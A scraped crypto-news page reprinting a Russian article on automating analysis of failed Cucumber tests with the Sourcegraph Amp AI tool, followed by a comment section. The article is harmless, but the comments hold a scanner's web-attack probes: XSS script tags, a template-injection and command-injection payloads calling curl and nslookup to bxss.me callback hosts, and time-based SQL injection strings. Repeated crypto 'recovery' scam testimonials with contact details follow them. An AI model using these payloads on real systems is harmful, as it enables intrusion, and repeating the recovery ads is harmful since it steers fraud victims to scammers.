Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Как мы автоматизировали анализ упавших тестов с помощью AI: от хаоса к структуре

Представьте: каждый день ваши автотесты генерируют десятки отчетов об ошибках, QA команда тратит часы на анализ падений, а разработчики получают невразумительные описания в духе "test.feature упал на строке 410". Знакомо?

Мы решили эту проблему, интегрировав AI в процесс анализа тестов, и хотим поделиться опытом.

Проблема: хаос в анализе упавших тестов

В нашем проекте работает комплексная тестовая инфраструктура:

8 параллельных потоков выполнения
650+ автотестов на Cucumber
Ежедневные прогоны с анализом регрессий

Типичный workflow до автоматизации:

Тесты упали → HTML отчет с кучей технических деталей
QA анализирует каждое падение вручную
Создает отчет для разработчиков: "найди строку в step_definitions, посмотри стек, угадай что сломалось"
Разработчик тратит еще время на понимание проблемы

Боль реальная:

🔍 Нет структурированного анализа — каждый отчет уникален
⏰ Огромные временные затраты QA — от 1 до 3 часов на анализ отчетов
📊 Нет приоритизации ошибок — все падения выглядят одинаково критично

Решение: AI как второй тестировщик

Мы решили создать AI помощника, который будет анализировать упавшие тесты и создавать структурированные отчеты в том формате, который понятен разработчикам.

Идея простая: машина делает рутинную работу по анализу технических логов, а человек принимает решения на основе качественных данных.

Архитектура решения

Компоненты системы:

generate_test_failure_report.sh — анализ отчетов и извлечение данных
amp_chat.sh — интеграция с Sourcegraph Amp AI
entrypoint.sh — оркестрация всего процесса
AGENT.md — основное руководство для AI с правилами проекта
CRITICAL_RULES.md — критические правила для обучения AI

Workflow автоматизации:

Тесты упали → HTML отчет → Python парсер → detailed_steps.txt → AI анализ → Структурированный отчет для GitLab

Техническая реализация

1. Интеллектуальный парсер отчетов

Первая задача — извлечь структурированные данные из HTML отчетов Cucumber. Мы создали Python скрипт, который:

# Парсит JSON данные из Cucumber Messages
data = json.load(html_embedded_json)
failed_tests = extract_failed_scenarios(data)

# Анализирует ReRun данные для исключения ложных срабатываний  
rerun_passed = filter_successful_reruns(rerun_html) 
real_failures = exclude_false_positives(failed_tests, rerun_passed)

Ключевая фишка: скрипт умеет различать "действительно проблемные тесты" от "случайных падений".

Если тест упал первоначально, но прошел в ReRun — это не настоящая проблема.

2. AI интеграция через Sourcegraph Amp

Для AI анализа использовали Sourcegraph Amp — специализированный AI-инструмент для разработчиков.

Что такое Amp:

AI-powered coding assistant с доступом к лучшим языковым моделям
Неограниченное использование токенов — можем анализировать большие отчеты
Мощный CLI для автоматизации в скриптах и CI/CD
Поддержка кастомных инструментов через AGENT.md файлы
Oracle режим для сложного анализа и рассуждений

Ключевое преимущество — Amp создан именно для технических задач, понимает контекст кода и может работать в неинтерактивном режиме.

Создали обертку amp_chat.sh для взаимодействия с AI:

#!/bin/bash

# Неинтерактивный режим для автоматизации  
echo "$ai_prompt" | ./amp_chat.sh

# С защитой от зависания
timeout 10m ./amp_chat.sh < detailed_steps.txt

AI промпт инженеринг:

Разработали систему критических правил для AI, чтобы получать качественные отчеты:

создай отчет об ошибках detailed_steps.txt учитывая все правила из 
AGENT.md с выполнением КРИТИЧЕСКИХ ПРАВИЛ, затем проверь выполнение 
всех КРИТИЧЕСКИХ ПРАВИЛ и выполни все правила из CRITICAL_RULES.md

3. Интеграция в CI/CD

Встроили AI анализ прямо в entrypoint.sh — главную точку входа тестовой системы.

Два способа запуска AI анализа:

# 1. Автоматический - запускается в ночных и вечерних прогонах
case $exec in
  "gcp-app-testing")
    # ... обычный workflow тестирования
    make_report
    publish_reports  
    
    # 🤖 AI анализ включается автоматически
    if [ "$ENABLE_AI_REPORTS" = "true" ]; then
      generate_failure_report
    fi
    ;;

  # 2. Ручной - для анализа существующих отчетов  
  "failure-report")
    clear_test_reports
    generate_failure_report  # Анализ последнего отчета с стенда
    ;;
esac

⚡ Оптимизация для больших отчетов

Обнаружили что AI "залипает" на отчетах с 50+ упавшими тестами. Добавили лимитирование:

MAX_TESTS_IN_REPORT = 30

if len(failed_tests) > MAX_TESTS_IN_REPORT:
    print(f"⚠️ Найдено {len(failed_tests)} упавших тестов, "
          f"но отчет будет создан только для первых {MAX_TESTS_IN_REPORT}")
    failed_tests = failed_tests[:MAX_TESTS_IN_REPORT]

Критические правила для AI

Самая важная часть — научить AI создавать качественные отчеты.

Создали файл CRITICAL_RULES.md с обязательными правилами:

🚨 Правило 1: Правильные номера строк

КРИТИЧЕСКИ ВАЖНО: ВСЕГДА ИСПОЛЬЗОВАТЬ НОМЕР СТРОКИ СЦЕНАРИЯ (Scenario:), А НЕ ОТДЕЛЬНОГО ШАГА

❌ features/entrypoint.sh --exec features --feature test.feature:410  # Номер ошибки
✅ features/entrypoint.sh --exec features --feature test.feature:6    # Номер Scenario:

🚨 Правило 2: Визуальные доказательства

ОБЯЗАТЕЛЬНО анализировать:
- Скриншоты ошибок из tmp/test_reports/assets/<стенд>_<дата>/error/
- Логи консоли браузера из tmp/test_reports/assets/<стенд>_<дата>/logs/

🚨 Правило 3: Полнота охвата всех сценариев

КРИТИЧЕСКОЕ ПРАВИЛО: НИКОГДА НЕ ПРОПУСКАТЬ НИ ОДНОГО УПАВШЕГО СЦЕНАРИЯ
- ОБЯЗАТЕЛЬНО правильно определить количество упавших
- Смотреть на "🔴 Упали в ReRun: X сценариев", а НЕ на "Всего фич: Y, Упавших: Z" 
- НЕДОПУСТИМО описывать только часть сценариев (например, 5 из 7)
- ОБЯЗАТЕЛЬНАЯ СТРУКТУРА каждого сценария: "УПАВШИЙ СЦЕНАРИЙ X: [название]"

🚨 Правило 4: Данные из буфера обмена

КРИТИЧЕСКИ ВАЖНО: ВСЕГДА указывать ВСЕ конкретные данные из буфера обмена
- При упоминании "Paste bill data from clipboard" - показать таблицу данных
- При упоминании "Paste value from Clipboard" - показать конкретное значение  
- ОБЯЗАТЕЛЬНО найти исходные данные в .feature файле между """ """
- Структурированное отображение по шагам с номерами строк

🚨 Правило 5: Убираем технические команды автотестов

КРИТИЧЕСКИ ВАЖНО убрать ВСЕ технические команды:

❌ "Wait X seconds"
❌ "Define hot table", "Определить таблицу"  

✅ Заменять на пользовательские действия:
   - Авторизация с email и паролем
   - Клики по кнопкам и ссылкам
   - Ввод данных в поля

🚨 Правило 6: Приоритеты анализа ошибок

ПРИОРИТЕТ 1: Простые логические ошибки (= → ===, = → ||=)
ПРИОРИТЕТ 2: Бизнес-логика (HOT таблицы, математические модели)
ПРИОРИТЕТ 3: Сложные архитектурные решения

НЕ предлагать общие исправления типа "добавить проверку на undefined"
ИСКАТЬ РЕАЛЬНЫЕ ПРИЧИНЫ в специфике технологий

🚨 Правило 7: Структура шагов воспроизведения

ОБЯЗАТЕЛЬНАЯ СТРУКТУРА: Ключевые шаги (10-15) + Детальные шаги (40-80)
- НИКОГДА не отходить от этой структуры
- Группировать действия по логическим разделам
- Указывать пароли при авторизации
- Пустая строка после каждого заголовка группы действий

🚨 Правило 8: Анализ корневых причин

ИЗБЕГАТЬ ПОВЕРХНОСТНОГО АНАЛИЗА JAVASCRIPT ОШИБОК

❌ "JavaScript ошибка Cannot read properties of undefined - добавить проверку"
✅ "При сохранении Submission price не обновляются данные в модели индиректов"

❌ "Ошибка в HOT таблице - проверить инициализацию"  
✅ "HOT таблица использует loadData() вместо updateData() - перезапись данных"

🚨Правило 9: MARKDOWN ФОРМАТИРОВАНИЕ ТАБЛИЦ

- ОБЯЗАТЕЛЬНО использовать правильный синтаксис: `| Поле | Значение |`
- ОБЯЗАТЕЛЬНО добавлять разделители заголовков: `|------|----------|`
- ОБЯЗАТЕЛЬНО выравнивать колонки с `|`
- ОБЯЗАТЕЛЬНО добавлять пустые строки до и после таблиц

Результаты: цифры говорят сами за себя

Показатель	До AI	После AI
Время анализа отчета	1-3 часа	5-10 минут
Качество описания ошибок	Неструктурированное	Структурированное с кодом
Конкретные советы по исправлению	Редко	Всегда

Пример экономии времени:

Раньше: QA тратил от 1 до 3 часов на анализ → разработчик еще час на понимание
Теперь: AI анализирует за 10 минут → разработчик сразу получает готовое решение

Пример AI отчета: от хаоса к структуре

Было (исходный технический лог)

Типичный вывод упавшего теста - набор технических терминов без контекста:

expected to find xpath "//h5[contains(.,"The connection between the BOQ rows from the bid and the project was not found. Would you like to try to find one?")]" but there were no matches

Проблемы каждой роли:

QA:

- Большие Gherkin сценарии на английском языке — уходит много времени на анализ и выделение ключевых шагов

- Нужно вручную извлечь короткие понятные шаги из длинного технического сценария — 30-60 минут на сценарий

- Перевод и адаптация шагов для программистов — 20-40 минут на каждый тест

Разработчик:

- Получает либо сырой стек ошибки, либо огромный Gherkin сценарий — уходит много времени на понимание сути проблемы

Стало (структурированный AI отчет)

AI анализирует тот же самый технический лог и создает подробный отчет:

УПАВШИЙ СЦЕНАРИЙ 1: "Save row values after cutting rows"

КЛЮЧЕВЫЕ ШАГИ ВОСПРОИЗВЕДЕНИЯ:

1. Авторизация с пользователем [email protected]

2. Переход на страницу редактирования заявки

3. Переход в раздел "Bill of quantity"

4. Заполнение HOT таблицы: номер "1.2.1", описание "Аренда оборудования"

5. Нажатие кнопки "Add BOQ from project"

6. ❌ Ожидание модального окна связывания строк проекта - окно не найдено (строка 32)

ВИЗУАЛЬНЫЕ ДОКАЗАТЕЛЬСТВА

AI анализирует скриншот момента ошибки и видит модальное окно "Add from project BOQ":

- Заголовок окна: "Add from project BOQ"

- Версия: "Using version #1 03.10.2019"

- Выбранные элементы: 2 элемента отмечены галочками

- Кнопки управления: "Close" и "Add" доступны

ЛОГИ КОНСОЛИ БРАУЗЕРА:

Обнаружены предупреждения JavaScript в момент выполнения теста:

WARNING (устаревший API):

Listener added for a 'DOMNodeInserted' mutation event. This event type is deprecated, and will be removed from this browser VERY soon.

КОНКРЕТНЫЕ СОВЕТЫ ПРОГРАММИСТАМ:

1. FRONTEND: /modal_link_project_rows.js

// Проблема может быть в логике определения необходимости показа модала Link project rows
// Проверить условие, при котором модал должен появляться:
if (connectionNotFound || !hasMatchingRows) {
    showLinkProjectRowsModal();
} else {
    // Переход напрямую к выбору BOQ - это и происходит в тесте
    showAddFromProjectBOQModal();
}

КОРНЕВАЯ ПРИЧИНА:

Изменение бизнес-логики отображения модального окна связывания строк BOQ. Система больше не показывает окно связывания в данном сценарии, вместо этого сразу отображается стандартное окно выбора элементов проекта.

Что изменилось:

- Контекст: вместо сухой ошибки - понятное описание бизнес-сценария

- Визуализация: анализ скриншотов показывает реальное состояние интерфейса

- Действенность: конкретный код для исправления вместо общих советов

- Диагностика: понятная корневая причина с техническим обоснованием

Такой отчет разработчик может сразу использовать для исправления, без дополнительного анализа.

Уроки и выводы

✅ Что сработало хорошо

1. Prompt Engineering критичен для качества

Без четких правил AI создавал общие отчеты. Система критических правил дала конкретные, действенные советы.

2. AI отлично понимает контекст тестов

Prompt с описанием бизнес-логики дает намного лучшие результаты чем просто стек ошибки.

3. Визуальные доказательства критичны

Скриншоты момента ошибки и логи консоли браузера дают AI полную картину для анализа.

⚠️ Подводные камни

1. AI может "зависать" на сложных отчетах

Решение: лимитирование количества тестов + timeout для AI запросов

2. Качество зависит от качества промптов

Решение: итеративная разработка системы правил с тестированием на реальных данных

3. Не все ошибки можно проанализировать автоматически

Решение: fallback на ручной анализ для критически важных случаев

Технические детали реализации

Парсинг Cucumber отчетов

def extract_failed_scenarios(cucumber_json):
    """Извлекает упавшие сценарии из Cucumber Messages"""
    failed_tests = []
    
    for test_run in cucumber_json['testRunStarted']:
        for scenario in test_run['scenarios']:
            if scenario['status'] == 'FAILED':
                # Извлекаем детали ошибки
                error_info = {
                    'file': scenario['uri'],
                    'line': scenario['location']['line'],
                    'name': scenario['name'],
                    'error': scenario['steps'][-1]['result']['errorMessage']
                }
                failed_tests.append(error_info)
                
    return failed_tests

AI промпт система

Создали многоуровневую систему правил:

AGENT.md — общие правила работы с проектом
amp_script/CRITICAL_RULES.md — специфичные правила для анализа тестов

Интеграция в systemd сервисы

ExecStart=/bin/bash -c "features/entrypoint.sh --exec gcp-app-testing --TEST_SUITE test_suite_X"

# В entrypoint.sh автоматически читаются переменные из environment_variables:
# ENABLE_AI_REPORTS=true
# TEST_SUITE=part

# Логика включения AI анализа:
case $exec in
  "gcp-app-testing")
    # ... обычный workflow тестирования
    make_report
    publish_reports
    
    # 🤖 AI анализ включается автоматически после основных отчетов
    if [ "$ENABLE_AI_REPORTS" = "true" ]; then
      generate_failure_report --stand $STAND --auto-ai
    fi
    ;;
esac

Результат: трансформация процессов

📈 Для QA команды

Освобождено время для более важных задач
Автоматическая приоритизация ошибок по сложности исправления

💡 Для разработчиков

Конкретные советы вместо сырых логов — сразу понятно что и где исправлять
Понятные шаги воспроизведения на человеческом языке
Быстрое понимание корневой причины проблемы

🔄 Для процесса

Полная автоматизация — без ручного вмешательства
Стандартизированный формат отчетов
Встроено в существующую инфраструктуру без изменения workflow

Планы развития

Ближайшие планы:

GitLab интеграция — автоматическое создание тикетов с меткой Regression
Машинное обучение — анализ паттернов ошибок для предсказания проблемных зон

Долгосрочная перспектива:

Автоматическое исправление простых ошибок через AI

Как запустить у себя

Настройка AMP API ключа:

mkdir -p ~/.config/amp
echo "amp_sk_YOUR_KEY" > ~/.config/amp/api_key
chmod 600 ~/.config/amp/api_key

Запуск с AI анализом:

features/entrypoint.sh --exec failure-report --stand <имя стенда>

Документация

Всю систему мы подробно задокументировали:

Wiki для тестировщиков с примерами использования
AGENT.md с техническими правилами
README файлы для каждого скрипта
Критические правила для обучения AI

Выводы

Интеграция AI в процесс анализа тестов показала отличные результаты:

Время экономится в 8-10 раз (от часов до минут)
Качество анализа выше — AI замечает паттерны, которые могут упустить люди
Меньше человеческих ошибок — стандартизированный формат отчетов
Масштабируемость — AI может анализировать отчеты 24/7

Самое важное — AI не заменяет тестировщика, а усиливает его. Машина делает рутинную работу, человек принимает решения на основе качественных данных.

Результат: QA команда теперь фокусируется на стратегических задачах вместо рутинного анализа логов, а разработчики получают конкретные, действенные рекомендации по исправлению ошибок.

Источник

Теги

Категория

Новости

Дата

21 сент. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

